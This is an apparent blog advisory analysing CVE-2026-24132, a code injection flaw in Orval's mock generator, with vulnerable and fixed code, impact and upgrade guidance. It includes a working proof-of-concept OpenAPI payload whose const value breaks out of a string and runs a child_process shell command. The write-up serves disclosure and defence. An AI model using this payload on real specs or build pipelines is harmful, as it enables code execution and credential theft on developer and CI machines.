CVE-2026-24132: Orval's Mock Generator Did What You Told It To (And That's The Problem)
Jan 23, 2026·5 min read·6 visits
Executive Summary (TL;DR)
Orval, a tool used to generate TypeScript code from OpenAPI specs, failed to safely sanitize `const` values in its `@orval/mock` package. Attackers can inject malicious JavaScript into schema files. When a developer generates mocks and runs them (e.g., during tests), the injected code executes. This is a classic supply chain attack vector targeting the build pipeline.
A critical code injection vulnerability in Orval's mock generator allows attackers to execute arbitrary code on developer machines via malicious OpenAPI specifications. By exploiting how `const` values are interpolated into generated TypeScript files, an attacker can turn a simple API contract update into a full-blown supply chain compromise.
The Hook: Trusting the Spec
We love code generators. They do the boring work for us, turning repetitive JSON schemas into type-safe TypeScript interfaces and mocks. Orval is one of the heavy hitters in this space, widely loved for its ability to generate React Query hooks and MSW mocks directly from an OpenAPI specification.
But here is the catch: code generators are effectively compilers. They take input (the OpenAPI spec) and turn it into executable code (TypeScript/JavaScript). If a compiler has a bug in how it handles input strings, it doesn't just produce a syntax error—it produces a weapon.
CVE-2026-24132 is exactly that. It resides in the @orval/mock package, the part of the tool responsible for creating fake data for your frontend tests. The vulnerability effectively allows a malicious OpenAPI spec to write its own logic into your codebase. If you pull a spec from a third party, or if an attacker compromises the repo where your spec lives, they don't need to touch your application code. They just need to tweak a single const value in the YAML, and the next time you run orval, you are owned.
The Flaw: Interpolation Hell
The root cause is a tale as old as time: string concatenation where serialization should have been. When generating mock data, Orval looks at the OpenAPI schema. If a property has a const value defined (a feature of OpenAPI 3.1.0), Orval tries to be helpful by hardcoding that value into the generated mock function.
In the vulnerable versions, the logic in packages/mock/src/faker/getters/scalar.ts was dangerously naive. It took the value from the const field and shoved it directly into a template literal string representing the code. It tried to use a helper function called jsStringEscape, but that helper was insufficient for preventing code injection.
This is the difference between data and code. To Orval, the const value was just data to be printed. But because it wasn't strictly serialized (e.g., using JSON.stringify), special characters like single quotes could break out of the string delimiter. Once you break out of the string, you are in the land of raw JavaScript execution.
The Code: The Smoking Gun
Let's look at the crime scene in packages/mock/src/faker/getters/scalar.ts. The developer's intention was innocent enough: if the schema says a value is constant, print it as a string literal.
The Vulnerable Code:
// ... inside the generator loop
} else if ('const' in item) {
// ❌ DANGER: Interpolating raw input into code string
value = `'${jsStringEscape((item as OpenApiSchemaObject).const)}'`;
}See that logic? It wraps the output in single quotes '...' and tries to escape the content. But if jsStringEscape doesn't perfectly handle every edge case (or if the attacker gets creative with closing contexts), the game is over.
The Fix (v8.0.3 / v7.20.0):
// ... inside the generator loop
} else if ('const' in item) {
// ✅ SAFE: Serializing the data structure properly
value = JSON.stringify((item as OpenApiSchemaObject).const);
}The fix is elegantly simple. JSON.stringify() creates a valid JavaScript literal representation of any JSON-compatible value. It handles quotes, backslashes, and control characters automatically and securely. It turns foo into "foo" and foo"bar into "foo\"bar", ensuring the data stays data.
The Exploit: Breaking Out
Exploiting this is trivially easy if you control the OpenAPI file. We want to inject a Node.js payload. Since the vulnerable code wraps our input in single quotes '...', we need to break out of that context.
Here is a malicious OpenAPI definition:
openapi: 3.1.0
info:
title: Pwned API
version: 1.0.0
components:
schemas:
MaliciousPayload:
type: string
# The payload closes the quote, executes code, and comments out the suffix
const: "'); require('child_process').execSync('touch /tmp/pwned'); //"When Orval processes this, the vulnerable line:
value = '${jsStringEscape(...)}'
Becomes this in the generated TypeScript file:
export const getMaliciousPayloadMock = () => (
'); require('child_process').execSync('touch /tmp/pwned'); //'
);Wait, look closer at the syntax. In the generated object context, it might look like this:
export const myMock = () => ({
someProperty: ''); require('child_process').execSync('touch /tmp/pwned'); //',
})As soon as this file is imported by a test runner (like Jest or Vitest) or executed by a mock server, that require(...) statement runs immediately. This is RCE with the privileges of the user running the build or test suite.
The Impact: Why This Matters
This isn't just a "theoretical" vulnerability. This is a developer workflow killer. Think about where Orval runs:
- Local Development: You run
npm run generate. The code is generated. Then you runnpm test. The malicious mock is loaded. The attacker now has a shell on your laptop. - CI/CD Pipelines: Your pipeline pulls the latest specs, generates code, and runs linting/testing. The payload executes in the CI environment, allowing the attacker to dump your
AWS_ACCESS_KEY,NPM_TOKEN, or production database credentials.
Because this vulnerability is triggered during standard development lifecycle phases (generation or testing), it bypasses runtime protections that might exist in the deployed application. It attacks the builders, not the users.
The Fix: Update or Die
The remediation is straightforward. Update Orval immediately. The vulnerability affects both the 7.x and 8.x branches.
- If you are on v7, update to v7.20.0+.
- If you are on v8, update to v8.0.3+.
There is no configuration workaround that makes the vulnerable versions safe if you are consuming untrusted specs. The logic is hardcoded in the generator. If you cannot upgrade, your only defense is to manually review every line of your OpenAPI specification files before running the generator—a task that is practically impossible for large specifications.
Official Patches
Fix Analysis (2)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Orval Orval Labs | <= 7.19.0 | 7.20.0 |
Orval Orval Labs | 8.0.0-rc.0 - 8.0.2 | 8.0.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 (Improper Neutralization of Special Elements used in a Command) |
| CVSS v4.0 | 7.7 (High) |
| Attack Vector | Network (Malicious Spec File) |
| Impact | Remote Code Execution (RCE) |
| Vulnerable Component | @orval/mock (getMockScalar) |
| Fix Method | Use JSON.stringify() instead of manual escaping |
MITRE ATT&CK Mapping
Improper Neutralization of Special Elements used in a Command ('Command Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.